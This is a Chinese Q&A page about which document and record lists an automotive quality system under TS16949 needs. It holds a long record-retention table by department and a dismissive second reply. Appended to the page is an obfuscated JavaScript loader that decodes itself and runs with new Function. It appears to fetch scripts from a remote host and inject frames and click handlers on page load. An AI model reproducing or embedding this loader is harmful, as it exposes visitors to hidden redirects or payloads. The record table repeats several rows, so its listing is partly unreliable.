TS16949中,文件清单和记录清单都有哪些?(要详细一些到各车间各部门)谢谢了。

2024-12-06 08:47:44
推荐回答(2个)
回答1:

质量记录清单 记录代号: XH-QR-S02-03 NO.0001
序号 记录代号 表格版本号 记录名称 保存年限 保存地点 备注
1 XH-QR-C01-01 01 《立项建议书》 15年 经营部
2 XH-QR-C01-02 01 《项目可行性分析报告》 15年 技术质量部
3 XH-QR-C01-03 01 《项目开发计划》 15年 技术质量部
4 XH-QR-C01-04 01 《FMEA》 15年 技术质量部
5 XH-QR-C01-05 01 《设计验证计划和报告》 15年 技术质量部
6 XH-QR-C01-06 01 《设计方案评审报告》 15年 技术质量部
7 XH-QR-C01-07 01 《控制计划》 15年 技术质量部
8 XH-QR-C01-08 01 《小组可行性承诺》 15年 技术质量部
9 XH-QR-C01-09 01 《试作计划》 15年 技术质量部
10 XH-QR-C01-10 01 《过程流程图》 15年 技术质量部
11 XH-QR-C01-11 01 《作业指导书》 15年 技术质量部
12 XH-QR-C01-12 01 《测量系统分析计划》 15年 技术质量部
13 XH-QR-C01-13 01 《初始过程能力研究计划》 15年 技术质量部
14 XH-QR-C01-14 01 《包装评价报告》 15年 技术质量部
15 XH-QR-C01-15 01 《项目阶段评审表》 15年 技术质量部
16 XH-QR-C01-16 01 《产品质量策划认定和总结》 15年 技术质量部
17 XH-QR-C01-17 01 《项目结束报告》 15年 技术质量部
18 XH-QR-C01-18 01 《产品特殊特特性清单》 15年 技术质量部
19 XH-QR-C01-19 01 《可靠性实验报告》 15年 技术质量部
20 XH-QR-C01-20 01 《可靠性试验申请表》 15年 技术质量部21 XH-QR-C02-01 01 《设计更改单》 15年 技术质量部
22 XH-QR-C02-02 01 《设计更改清单》 15年 技术质量部
23 XH-QR-C03-01 01 《全尺寸检查结果报告》 同PPAP资料 质检部
24 XH-QR-C03-02 01 《零件提交保证书》 同PPAP资料 技术质量部
25 XH-QR-C03-03 01 《外观件批准报告》 同PPAP资料 质检部
26 XH-QR-CO4-01 01 《销售合同执行台账》 3年 经营部
27 XH-QR-CO4-02 01 《合同评审单》 3年 经营部
28 XH-QR-CO4-03 01 《发货单》 3年 经营部
29 XH-QR-CO4-04 01 《口头订单》 3年 经营部
30 XH-QR-CO4-05 01 《年度合同执行台帐》 3年 经营部
31 XH-QR-CO5-01 01 《入库单》 3年 经营部
32 XH-QR-CO5-02 01 《生产指令》 3年 经营部
33 XH -QR-CO5-03 01 《计划更改通知单》 3年 经营部
34 XH-QR-CO5-04 01 《库存报警通知单》 3年 经营部
35 XH-QR-CO5-05 01 《出库单》 3年 经营部
36 XH-QR-CO5-06 01 《库存盘点表》 3年 经营部
37 XH-QR-CO5-07 01 《生产分析表》 3年 生产部
38 XH-QR-C06-01 01 《作业准备验证表》 3年 生产部
39 XH-QR-C06-02 01 《设备点检表》 3年 生产部
40 XH-QR-C06-03 01 《首件检验记录》 3年 生产部
41 XH-QR-CO7-01 01 《周出货计划》 3年 经营部
42 XH-QR-CO7-02 01 《出货通知书》 3年 经营部
43 XH-QR-CO7-03 01 《开票通知书》 3年 经营部
44 XH-QR-CO7-04 01 《送货单》 3年 经营部
45 XH-QR-CO8-01 01 《客户资料卡》 3年 经营部
46 XH-QR-CO8-02 01 《客户拜访及接待记录》 3年 经营部
47 XH-QR-CO8-03 01 《顾客投诉单》 3年 经营部
48 XH-QR-CO8-04 01 《外部顾客满意度调查表》 3年 经营部
49 XH-QR-CO8-05 01 《客户服务计划》 3年 经营部
50 XH-QR-CO8-06 01 《顾客特殊要求清单》 3年 经营部
51 XH-QR-CO9-01 01 《顾客投诉台帐》 15年 经营部
52 XH-QR-CO9-02 01 《8D问题分析报告》 15年 技术质量部
53 XH-QR-CO9-03 01 《退货处理单》 15年 技术质量部
54 XH-QR-M01-01 01 《经营计划》 3年 管理者代表
55 XH-QR-M01-02 01 《会议记录》 3年 各部门
56 XH-QR-M01-03 01 《方针展开实施计划》 3年 各部门
57 XH-QR-M01-04 01 《指标统计报表》 3年 各部门
58 XH-QR-M01-05 01 《工作计划与考核》 3年 各部门
59 XH-QR-M01-06 01 《个人工作计划与考核》 3年 各部门
60 XH-QR-M02-01 01 《质量成本科目明细表》 3年 技术质量部61 XH-QR-M02-02 01 《质量成本统计报表》 3年 技术质量部
62 XH-QR-M02-03 01 《质量成本分析表》 3年 技术质量部
63 XH-QR-M02-04 01 《质量成本报告》 3年 财务部
64 XH-QR-M03-01 01 《外部顾客满意度监控表》 3年 经营部
65 XH-QR-M03-02 01 《内部顾客满意度调查表》 3年 办公室
66 XH-QR-M04-01 01 《年度管理体系审核计划》 3年 技术质量部
67 XH-QR-M04-02 01 《管理体系内部审核实施计划》 3年 技术质量部
68 XH-QR-M04-03 01 《内部体系审核检查表》 3年 技术质量部
69 XH-QR-M04-04 01 《内部体系审核不合格项报告》 3年 技术质量部
70 XH-QR-M04-05 01 《不符合项分布表》 3年 技术质量部
71 XH-QR-M04-06 01 《内部体系审核报告》 3年 技术质量部
72 XH-QR-M04-07 01 《年度过程审核计划》 3年 技术质量部
73 XH-QR-M04-08 01 《过程审核分计划时程表》 3年 技术质量部
74 XH-QR-M04-09 01 《过程审核检查表》 3年 技术质量部
75 XH-QR-M04-10 01 《过程审核报告》 3年 技术质量部
76 XH-QR-M04-11 01 《年度产品审核计划》 3年 技术质量部
77 XH-QR-M04-12 01 《产品质量审核实施计划》 3年 技术质量部
78 XH-QR-M04-13 01 《产品审核检查表》 3年 技术质量部
79 XH-QR-M04-14 01 《产品审核缺陷等级指导表》 3年 技术质量部
80 XH-QR-M04-15 01 《产品审核报告》 3年 技术质量部
81 XH-QR-M05-01 01 《管理评审计划》 3年 管理者代表
82 XH-QR-M05-02 01 《管理评审报告》 3年 管理者代表
83 XH-QR-M05-03 01 《管理体系要素实施状况评审记录》 3年 管理者代表
84 XH-QR-M05-01 01 《重要环境因素及其控制因素清单》 3年 技术质量部
85 XH-QR-M05-02 01 《环境因素识别及评价结果一览表》 3年 管理者代表
86 XH-QR-M05-03 01 《环境管理方案》 3年 相关部门
87 XH-QR-S01-01 01 《体系文件起草(更改)申请单》 3年 各部门
88 XH-QR-S01-02 01 《文件管理表》 3年 各部门
89 XH-QR-S01-03 01 《文件发放回收记录表》 3年 技术质量部
90 XH-QR-S01-04 01 《受控文件清单》 3年 各部门
91 XH-QR-S01-05 01 《外来文件登记表》 3年 各部门
92 XH-QR-S01-06 01 《文件借阅登记表》 3年 各部门
93 XH-QR-S01-07 01 《顾客工程规范/样件评审单》 3年 技术质量部
94 XH-QR-S01-08 01 《文件作废清单》 3年 技术质量部
95 XH-QR-S02-01 01 《记录销毁申请表》 3年 技术质量部
96 XH-QR-S02-02 01 《记录调阅登记表》 3年 各部门
97 XH-QR-S02-03 01 《记录清单》 3年 技术质量部
98 XH-QR-S02-04 01 《记录起草(更改)申请单》 3年 技术质量部
99 XH-QR-S02-05 01 《记录复制登记表》 3年 技术质量部
100 XH-QR-S03-01 01 《专题报告》 3年 生产部
101 XH-QR-S03-02 01 《工装模具申请单》 3年 技术质量部
102 XH-QR-S03-03 01 《设备验收单》 3年 生产部
103 XH-QR-S03-04 01 《模具鉴定表》 3年 工装管理员
104 XH-QR-S03-05 01 《自动化评价表》 3年 生产部
105 XH-QR-S03-06 01 《工艺流程综合分析表》 3年 生产部
106 XH-QR-S03-07 01 《设备与操作工的配置表》 3年 生产部
107 XH-QR-S03-08 01 《在制品周转评价表》 3年 生产部
108 XH-QR-S03-09 01 《工序附加价值动作分析表》 3年 生产部
109 XH-QR-S03-10 01 《设备管理台帐》 3年 生产部
110 XH-QR-S03-11 01 《固定资产盘点表》 3年 生产部
111 XH-QR-S03-12 01 《设备档案》 3年 生产部
112 XH-QR-S03-13 01 《工装管理台帐》 3年 工装管理员
113 XH-QR-S03-14 01 《设备异动申请表》 3年 生产部
114 XH-QR-S03-15 01 《工装使用记录》 3年 工装管理员
115 XH-QR-S03-16 01 《工装盘点表》 3年 工装管理员
116 XH-QR-S03-17 01 《设备检修、中修、大修计划》 3年 生产部
117 XH-QR-S03-18 01 《预见性维护计划》 3年 生产部
118 XH-QR-S03-19 01 《设备故障维修记录表》 3年 生产部
119 XH-QR-S03-20 01 《工装维修记录》 3年 工装管理员
120 XH-QR-S03-21 01 《工装周期检定记录》 3年 工装管理员121 XH-QR-S03-22 01 《固定资产报废申请表》 3年 生产部
122 XH-QR-S03-23 01 《工装报废申请单》 3年 生产部
123 XH-QR-S03-24 01 《工厂和基础设施与设备调查报告》 3年 生产部
124 XH-QR-S03-25 01 《备品备件计划》 3年 生产部
125 XH-QR-S03-26 01 《设备FMEA》 3年 生产部
126 XH-QR-S03-27 01 《设备检修、中修、大修记录》 3年 生产部
127 XH-QR-SO4-01 01 《周期检定计划表》 3年 技术质量部
128 XH-QR-SO4-02 01 《计量器具总台帐》 3年 技术质量部
129 XH-QR-SO4-03 01 《计量器具报废申请表》 3年 技术质量部
130 XH-QR-SO4-04 01 《计量器具状态标识》 3年 技术质量部
131 XH-QR-SO4-05 01 《计量记录历史记录卡片》 3年 技术质量部
132 XH-QR-SO4-06 01 《测量系统分析计划》 3年 技术质量部
133 XH-QR-SO4-07 01 《重复性和再现性数据表》 3年 技术质量部
134 XH-QR-SO4-08 01 《计量器具管理清单》 3年 技术质量部
135 XH-QR-SO4-09 01 《计量器具日常管理表》 3年 技术质量部
136 XH-QR-SO4-10 01 《年度MSA计划》 3年 技术质量部
137 XH-QR-SO4-11 01 《样品分类清单》 3年 技术质量部
138 XH-QR-SO5-01 01 《委托试验单》 2年 实验室
139 XH-QR-SO5-02 01 《月测量设备周期确认表》 2年 实验室
140 XH-QR-SO6-01 01 《进货产品检验单》 2年 技术质量部
141 XH-QR-SO6-02 01 《物料评审单》 2年 技术质量部
142 XH-QR-SO6-03 01 《紧急放行申请单》 2年 技术质量部
143 XH-QR-SO6-04 01 《发货清单》 2年 技术质量部
144 XH-QR-SO6-05 01 《产品检验记录》 2年 技术质量部
145 XH-QR-SO6-06 01 《出厂检验记录》 2年 技术质量部
146 XH-QR-SO6-07 01 《产品检验报告》 2年 技术质量部
147 XH-QR-SO5-01 01 《进货检查报告》 3年 技术质量部
148 XH-QR-SO5-02 01 《进货检查不合格报告》 3年 技术质量部
149 XH-QR-SO5-03 01 《巡视检查不合格报告》 3年 技术质量部
150 XH-QR-SO5-04 01 《出货检查不合格报告》 3年 技术质量部
151 XH-QR-SO5-05 01 《库存品定期检查记录》 3年 技术质量部
152 XH-QR-SO6-01 01 《批次管理卡》 3年 生产部
153 XH-QR-SO6-02 01 《批次管理台帐》 3年 生产部
154 XH-QR-SO6-03 01 《产品库存卡》 3年 经营部
155 XH-QR-SO6-04 01 《安全库存管理表》 3年 经营部
156 XH-QR-SO6-05 01 《呆废料处理申请单》 3年 经营部
157 XH-QR-SO7-01 01 《纠正/预防措施流转表》 3年 技术质量部
158 XH-QR-SO7-02 01 《持续改进申请表》 3年 技术质量部
159 XH-QR-SO7-03 01 《年度持续改进计划》 3年 技术质量部
160 XH-QR-SO7-04 01 《持续改进实施计划》 3年 技术质量部161 XH-QR-SO7-05 01 《持续改进计划总揽表》 3年 技术质量部
162 XH-QR-SO7-06 01 《合理化建议报告》 3年 技术质量部
163 XH-QR-SO6-01 01 《批次管理卡》 3年 生产部
164 XH-QR-SO6-02 01 《批次管理台帐》 3年 生产部
165 XH-QR-SO6-03 01 《产品库存卡》 3年 经营部
166 XH-QR-SO6-04 01 《安全库存管理表》 3年 经营部
167 XH-QR-SO6-05 01 《呆废料处理申请单》 3年 经营部
168 XH-QR-SO7-01 01 《纠正/预防措施流转表》 3年 技术质量部
169 XH-QR-SO7-02 01 《持续改进申请表》 3年 技术质量部
170 XH-QR-SO7-03 01 《年度持续改进计划》 3年 技术质量部
171 XH-QR-SO7-04 01 《持续改进实施计划》 3年 技术质量部
172 XH-QR-SO7-05 01 《持续改进计划总揽表》 3年 技术质量部
173 XH-QR-SO7-06 01 《合理化建议报告》 3年 技术质量部
174 XH-QR-S10-01 01 《人员岗位矩阵要求》 3年 办公室
175 XH-QR-S10-02 01 《年度培训计划》 3年 办公室
176 XH-QR-S10-03 01 《员工教育培训申请表》 3年 办公室
177 XH-QR-S10-04 01 《培训方案策划》 3年 办公室
178 XH-QR-S10-05 01 《教育培训记录表》 3年 办公室
179 XH-QR-S10-06 01 《员工培训签到表》 3年 办公室
180 XH-QR-S10-07 01 《员工培训有效性评定表》 3年 办公室
181 XH-QR-S10-08 01 《培训效果评估表》 3年 办公室
182 XH-QR-S10-09 01 《公司人员素质矩阵图》 3年 办公室
183 XH-QR-S10-10 01 《文件宣导记录》 3年 办公室
184 XH-QR-S10-11 01 《员工培训需求调查问卷》 3年 办公室
185 XH-QR-S10-12 01 《员工满意度调查表》 3年 办公室
186 XH-QR-S10-13 01 《员工满意度调查分析报告》 3年 办公室
187 XH-QR-S11-01 01 《合格供方申请表》 3年 经营部
188 XH-QR-S11-02 01 《供方资信检查表》 3年 经营部
189 XH-QR-S11-03 01 《供方检查表》 3年 经营部
190 XH-QR-S11-04 01 《样品承认书》 3年 经营部
191 XH-QR-S11-05 01 《合格供方名单》 3年 经营部
192 XH-QR-S11-06 01 《供方业绩评价记录》 3年 经营部
193 XH-QR-S11-07 01 《不使用环境物质证明书》 3年 经营部
194 XH-QR-S11-08 01 《年度供应商监察计划》 3年 经营部
195 XH-QR-S11-09 01 《供方年度评价报告》 3年 经营部
196 XH-QR-S12-01 01 《采购计划》 3年 经营部
197 XH-QR-S12-02 01 《采购订单》 3年 经营部
198 XH-QR-S12-03 01 《模具购销合同》 3年 经营部
199 XH-QR-S12-04 01 《供方监控记录》 3年 经营部

回答2:

去百度搜索,就知道了。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();